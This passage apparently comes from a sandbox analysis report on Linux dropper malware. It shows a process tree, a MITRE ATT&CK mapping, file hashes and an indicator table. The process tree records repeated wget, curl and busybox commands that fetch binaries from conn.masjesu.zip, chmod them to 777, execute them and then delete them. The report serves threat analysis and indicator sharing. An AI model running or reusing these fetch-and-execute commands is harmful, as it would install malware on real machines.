- /tmp/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  ./rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
  2⤵
  PID:965
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  - System Network Configuration Discovery
  PID:969
- /bin/chmod
  chmod 777 RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  ./RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  - System Network Configuration Discovery
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  - System Network Configuration Discovery
  PID:976
- /bin/chmod
  chmod 777 3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  ./3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm 3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  ./ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
  2⤵
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  PID:987
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  - System Network Configuration Discovery
  PID:990
- /bin/chmod
  chmod 777 kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  ./kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
  2⤵
  PID:993
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  PID:994
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:995
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  - System Network Configuration Discovery
  PID:997
- /bin/chmod
  chmod 777 aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  ./aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  - Executes dropped EXE
  PID:999
- /bin/rm
  rm aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
  2⤵
  PID:1000
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  - System Network Configuration Discovery
  PID:1001
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /bin/chmod
  chmod 777 4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  ./4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  - Executes dropped EXE
  PID:1006
- /bin/rm
  rm 4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
  2⤵
  PID:1007

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj

Path /tmp/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj	739	FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
/tmp/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt	758	bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
/tmp/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ	798	hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
/tmp/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA	813	ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
/tmp/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2	842	kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
/tmp/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D	849	rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
/tmp/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9	859	RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
/tmp/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I	866	3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
/tmp/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH	873	aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
/tmp/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc	880	4leDefszXI2RZNKHInEoyhoHCwXumwUZoc
/tmp/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1	887	fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
/tmp/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs	894	D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
/tmp/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY	901	7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
/tmp/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y	908	sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
/tmp/D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs	915	D0aTsyKQrHRdtb9cGY3JuDmgbZD4LPSxxs
/tmp/7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY	922	7WLz925j2OwzrpXmz25R6Gws1kEGoCUJyY
/tmp/sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y	929	sxRsbo8SvqVVQiLvZvQdHYIKdnM1HA2e0Y
/tmp/fzrlbYps2nqFvvjas15z491HAe4CKgOzS1	936	fzrlbYps2nqFvvjas15z491HAe4CKgOzS1
/tmp/FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj	943	FbxlFHL3zcxdU97Tt56cc7p3iI6x4W6jAj
/tmp/bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt	950	bjyH4WNfxFs560wb44W3edEsjsi4qRFHVt
/tmp/hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ	957	hrMjPn9eukOJvGg2U1sz4VAY9Z29EOTKbZ
/tmp/rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D	964	rgGh75uaODH2uqq5Vn0uYjwC70QTOD5L9D
/tmp/RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9	971	RMAIjq3iTveGOec3WYMs1FmS6V6EjiYvG9
/tmp/3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I	978	3bRTt2vHqwXaxvfxLHIVttBVvla0bmRC3I
/tmp/ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA	985	ykbJLB3Gi3gFZb1ER3qnukxroguH5fL2pA
/tmp/kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2	992	kOcgg0qPAdT8PDI88Uk2dKO8tTpFSTkDx2
/tmp/aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH	999	aHoxQyTVSQ9jpnwWEgZMXPcdbOAtS8RjPH
/tmp/4leDefszXI2RZNKHInEoyhoHCwXumwUZoc	1006	4leDefszXI2RZNKHInEoyhoHCwXumwUZoc